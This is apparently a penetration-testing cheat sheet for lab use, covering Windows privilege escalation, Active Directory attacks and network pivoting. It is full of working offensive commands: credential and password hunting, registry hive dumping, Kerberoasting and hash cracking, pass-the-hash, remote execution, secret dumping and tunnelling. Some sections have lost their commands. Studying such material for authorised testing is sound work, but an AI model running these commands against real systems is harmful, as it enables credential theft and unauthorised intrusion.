route print
netstat -ano
tasklist /svc
Get-ComputerInfo | Select-Object WindowsProductName,WindowsVersion,OsBuildNumber,OsArchitecture
Get-ChildItem Env: | Sort-Object Name
Get-PSDrive -PSProvider FileSystem
Get-CimInstance Win32_LogicalDisk | Select-Object DeviceID,DriveType,FileSystem,Size,FreeSpace
Get-MpComputerStatus | Select-Object AMRunningMode,AntivirusEnabled,RealTimeProtectionEnabled
Record integrity level, groups, token privileges, architecture, domain membership, installed software, running services, and listening ports.
Token privileges¶
Investigate enabled or enableable privileges such as SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, and SeRestorePrivilege. The correct technique depends on the OS build, service context, and available communication mechanism.
Services¶
Get-CimInstance Win32_Service |
Select-Object Name,StartName,State,PathName
sc.exe qc <service>
sc.exe query <service>
For interesting services, check:
- permissions on the service configuration;
- permissions on the executable and parent directories;
- unquoted paths containing spaces;
- writable DLL or configuration search locations;
- whether the current user can restart the service;
- the account used to run the service.
sc.exe sdshow <service>
icacls 'C:\Path\To\service.exe'
Get-Acl 'C:\Path\To' | Format-List
accesschk.exe -uwcqv "$env:USERNAME" *
accesschk.exe -uwdqs Users C:\
Unquoted service paths¶
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } |
Select-Object Name,StartName,State,PathName
wmic service get name,displayname,pathname,startmode |
findstr /i /v "C:\Windows\\" | findstr /i /v '"'
An unquoted path is exploitable only when a candidate path is writable and the service can be started or will start predictably.
Scheduled tasks and startup¶
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object State -ne Disabled
Get-CimInstance Win32_StartupCommand
Get-ScheduledTask | ForEach-Object { $_ | Get-ScheduledTaskInfo }
schtasks /query /xml ONE /tn '<task-name>'
Startup and autorun locations:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Get-CimInstance Win32_StartupCommand | Format-List Name,Command,Location,User
Inspect task actions, executing users, triggers, referenced scripts, and permissions on every component of the execution path.
AlwaysInstallElevated¶
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Both values must be enabled for the policy to create the expected elevation path.
Credentials¶
Get-Content (Get-PSReadLineOption).HistorySavePath
cmdkey /list
dir C:\Users\*\Desktop,C:\Users\*\Documents -Force -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue |
Where-Object Name -match '\.(config|xml|ini|txt|kdbx|rdp)$'
Get-ChildItem C:\inetpub,C:\xampp,C:\ProgramData -Recurse -File -ErrorAction SilentlyContinue |
Select-String -Pattern 'password|secret|token|connectionString'
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml C:\*.kdbx 2>nul
findstr /si password C:\*.xml C:\*.ini C:\*.config 2>nul
Also review web roots, service configuration, unattended installation files, saved RDP files, application backups, and mapped shares.
SAM and SYSTEM hives¶
If the current context can read or save the required registry hives:
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
vssadmin list shadows
wmic shadowcopy get DeviceObject,InstallDate
Process transferred copies offline:
Installed software and patches¶
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,
HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName,DisplayVersion,InstallLocation
Get-HotFix
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic product get Name,Version 2>nul
Search for application-specific configuration flaws before selecting an OS exploit. Confirm architecture, build, patches, and prerequisites.
Local groups and sessions¶
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
query user
net use
quser
qwinsta
net localgroup
net user
Filesystem permissions¶
icacls C:\Path\To\Directory
Get-Acl C:\Path\To\Directory | Format-List
Get-ChildItem C:\ProgramData,C:\inetpub -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Attributes -notmatch 'ReparsePoint' } |
ForEach-Object { try { Get-Acl $_.FullName } catch {} }
Prioritize custom application directories and service paths rather than dumping ACLs for the entire operating system.
Network and local services¶
Get-NetTCPConnection -State Listen | Sort-Object LocalPort
Get-Process -Id (Get-NetTCPConnection -State Listen).OwningProcess -ErrorAction SilentlyContinue
Get-SmbShare
Get-SmbConnection
Get-ChildItem \\.\pipe\
Group membership may expose backup, remote management, virtualization, or application-control capabilities even when the account is not a local administrator.
Automated enumeration¶
Use winPEAS, Seatbelt, or PowerUp as a second pass. Validate every reported finding manually and prioritize paths where a privileged process consumes a user-controlled file, command, token, or credential.
.\winPEASx64.exe log=winpeas.out
.\Seatbelt.exe -group=system
Import-Module .\PowerUp.ps1
Invoke-AllChecks
When stuck¶
- Re-check token privileges and group memberships.
- Inspect non-Microsoft services and scheduled tasks first.
- Test permissions on parent directories, not only the executable.
- Look for credentials in application context and user history.
- Examine localhost-only services and named pipes.
- Re-enumerate after changing user or integrity level.
Active Directory¶
Start with identity, DNS, and time. Many apparent Kerberos failures are actually name-resolution or clock problems.
Establish context¶
From Windows¶
whoami /all
hostname
systeminfo | findstr /B /C:"Domain"
ipconfig /all
nltest /dsgetdc:<domain>
set LOGONSERVER
net user /domain
net group /domain
net group 'Domain Admins' /domain
setspn -T <domain> -Q */*
From Kali¶
dig @"$IP" _ldap._tcp.dc._msdcs."$DOMAIN" SRV
nmap -Pn -p53,88,135,139,389,445,464,636,3268,5985 "$IP"
netexec smb "$IP" -u '' -p ''
sudo ntpdate -u "$IP"
nslookup -type=SRV _kerberos._tcp."$DOMAIN" "$IP"
kerbrute userenum -d "$DOMAIN" --dc "$IP" users.txt
Add the domain controller's hostname and domain to /etc/hosts only after they are confirmed.
Enumerate with valid credentials¶
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --users
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --groups
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --shares
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --pass-pol
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --computers
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --loggedon-users
smbclient "//$IP/SYSVOL" -U "$DOMAIN/$USER%$PASS"
Get-ADDomain
Get-ADUser -Filter * -Properties ServicePrincipalName |
Select-Object SamAccountName,ServicePrincipalName
Get-ADGroupMember 'Domain Admins'
Get-ADComputer -Filter *
Get-ADTrust -Filter *
Get-ADUser -Identity "$env:USERNAME" -Properties MemberOf,Description,LastLogonDate
If the ActiveDirectory module is unavailable, use built-in commands, LDAP, PowerView, or compatible tooling. Record which source produced each fact.
LDAP¶
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
-b 'DC=example,DC=local' '(objectClass=user)' sAMAccountName memberOf userAccountControl
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
-b 'DC=example,DC=local' '(&(objectCategory=person)(servicePrincipalName=*))' \
sAMAccountName servicePrincipalName memberOf
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
-b 'DC=example,DC=local' '(description=*)' sAMAccountName description
Useful attributes include group membership, descriptions, SPNs, delegation settings, logon scripts, and ACL-related object identifiers.
BloodHound collection¶
bloodhound-python -u "$USER" -p "$PASS" -d "$DOMAIN" -ns "$IP" -c All --zip
netexec ldap "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --bloodhound --collection All
On Windows:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Windows\Temp
Use the graph to form a hypothesis, then verify the relevant group membership, session, ACL, or delegation property manually.
AS-REP roasting¶
With a user list:
With credentials:
From Windows:
Crack etype 23 material:
Kerberoasting¶
impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" -dc-ip "$IP" -request -outputfile tgs.hash
hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
Prioritize service accounts using evidence such as password age, privileges, group membership, and the systems they control.
ACLs and group control¶
PowerView examples:
Get-DomainObjectAcl -Identity <object> -ResolveGUIDs
Get-DomainGroupMember -Identity <group> -Recurse
Find-InterestingDomainAcl -ResolveGUIDs
Get-DomainUser -Identity "$env:USERNAME" | Select-Object objectsid
Get-DomainObjectAcl -SearchBase 'DC=example,DC=local' -ResolveGUIDs |
Where-Object SecurityIdentifier -eq '<controlled-user-sid>'
Common impactful rights include GenericAll, GenericWrite, WriteDacl, WriteOwner, ForceChangePassword, and control over a group containing a more privileged user. Verify inheritance and the exact target object before acting.
Delegation¶
Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-ADComputer -Filter * -Properties TrustedForDelegation,TrustedToAuthForDelegation,
msDS-AllowedToDelegateTo,msDS-AllowedToActOnBehalfOfOtherIdentity
For resource-based constrained delegation and other delegation paths, identify the controlled principal, target SPN, writable attribute, and required ticket flow. Do not treat a BloodHound edge as a complete procedure.
Credential reuse and remote access¶
netexec smb targets.txt -d "$DOMAIN" -u "$USER" -p "$PASS"
evil-winrm -i "$IP" -u "$USER" -p "$PASS"
impacket-wmiexec "$DOMAIN/$USER:$PASS@$IP"
impacket-psexec "$DOMAIN/$USER:$PASS@$IP"
impacket-smbexec "$DOMAIN/$USER:$PASS@$IP"
impacket-atexec "$DOMAIN/$USER:$PASS@$IP" whoami
impacket-dcomexec "$DOMAIN/$USER:$PASS@$IP"
Pass an NTLM hash only where NTLM authentication is accepted:
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -H '<NTLM>'
impacket-wmiexec -hashes ':<NTLM>' "$DOMAIN/$USER@$IP"
evil-winrm -i "$IP" -u "$USER" -H '<NTLM>'
Remote execution methods have different privilege, service, and share requirements. Authentication success does not mean a method can execute.
Secrets and domain data¶
With appropriate local administrative rights:
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --sam
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --lsa
impacket-secretsdump "$DOMAIN/$USER:$PASS@$IP"
With directory replication rights:
Search Group Policy preferences and SYSVOL content:
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" -M gpp_password
smbclient "//$IP/SYSVOL" -U "$DOMAIN/$USER%$PASS" -c 'recurse;prompt OFF;mget *'
rg -n -i 'cpassword|password|username|script' SYSVOL/
Tickets from Kali¶
impacket-getTGT "$DOMAIN/$USER:$PASS" -dc-ip "$IP"
export KRB5CCNAME="$PWD/$USER.ccache"
klist
netexec smb '<dc-hostname>' -d "$DOMAIN" -u "$USER" -k --use-kcache
Use fully qualified hostnames that match service principal names and ensure /etc/krb5.conf, DNS, and time are correct.
Differentiate local SAM material, LSA secrets, cached domain credentials, and directory replication output; they have different scope and reuse paths.
Kerberos troubleshooting¶
date
dig "$DOMAIN"
klist
KRB5_TRACE=/dev/stderr kinit "$USER@$DOMAIN"
kvno "cifs/<hostname>.$DOMAIN"
kdestroy
- Use hostnames rather than IP addresses when Kerberos requires an SPN.
- Ensure DNS resolves the domain controller correctly.
- Synchronize time before debugging tickets.
- Match realm capitalization and domain syntax.
- Clear stale tickets when changing identities.
When stuck¶
- Re-run share and LDAP enumeration with every validated identity.
- Inspect user descriptions, logon scripts, SYSVOL, and application shares.
- Map local administrator access across hosts.
- Correlate sessions with systems controlled by the current user.
- Verify BloodHound edges manually.
- Reassess DNS, time, and SPNs before abandoning a Kerberos path.
Pivoting¶
Pivot only after documenting the route that is missing: source, destination, protocol, port, and the host that can reach both sides.
Map the network¶
Linux¶
ip addr
ip route
ip neigh
ss -lntup
cat /etc/resolv.conf
cat /proc/net/fib_trie
for h in 10.10.10.{1..254}; do timeout 1 bash -c "</dev/tcp/$h/445" 2>/dev/null && echo "$h:445"; done
Windows¶
ipconfig /all
route print
arp -a
netstat -ano
Get-NetTCPConnection -State Listen
Get-NetRoute -AddressFamily IPv4
Test-NetConnection 10.10.10.20 -Port 445
1..254 | ForEach-Object { if (Test-Connection "10.10.10.$_" -Count 1 -Quiet) { "10.10.10.$_" } }
Look for additional interfaces, internal DNS servers, local-only listeners, and routes unavailable from Kali.
SSH local forwarding¶
Expose a service reachable from the SSH server on a local Kali port.
ssh -N -L 127.0.0.1:8443:10.10.10.20:443 "$USER@$IP"
ssh -N -L 127.0.0.1:1445:10.10.10.20:445 -o ExitOnForwardFailure=yes "$USER@$IP"
Use https://127.0.0.1:8443 locally. If the application depends on a hostname, preserve its Host header or TLS server name.
SSH dynamic forwarding¶
Create a SOCKS proxy through the SSH server.
ssh -N -D 127.0.0.1:1080 "$USER@$IP"
ssh -N -D 127.0.0.1:1080 -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes "$USER@$IP"
Configure ProxyChains:
Use TCP connect scans through SOCKS. Raw-packet SYN and UDP scans do not traverse a standard SOCKS proxy.
SSH remote forwarding¶
Expose a service reachable from the SSH client to the SSH server side.
Forward every route automatically when SSH access is available:
This is useful when the compromised host cannot connect directly to Kali but can reach an SSH server.
Chisel¶
Run the server on Kali:
Run the client on the pivot:
The reverse SOCKS listener defaults to port 1080 on the server. Confirm the actual listener before configuring ProxyChains.
Forward one internal service instead:
Standard forward mode:
Ligolo-ng¶
Start the proxy on Kali:
sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
Connect the agent from the pivot:
After selecting the session and starting the tunnel, add only the required route:
Confirm and later remove the route:
Socat forwarding¶
Forward a TCP port from a Linux pivot:
Relay a reverse connection through the pivot:
Windows port proxy¶
With suitable administrative access:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8443 connectaddress=10.10.10.20 connectport=443
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8443
Use Ligolo listeners for reverse connections that must traverse the pivot. Remove routes and interfaces after the lab.
Reach a localhost-only service¶
SSH example:
Then connect to 127.0.0.1:5432 locally. Verify the remote listener with ss, netstat, or Get-NetTCPConnection before forwarding it.
Troubleshooting¶
- Test the destination directly from the pivot before debugging the tunnel.
- Confirm which side owns each listening port.
- Check local binding conflicts with
ss -lntp. - Use TCP connect scans through application-layer proxies.
- Remember that DNS may resolve on the wrong side of a proxy.
- Narrow routes and forwards to the required networks and services.
- If a reverse connection fails, verify its return path independently.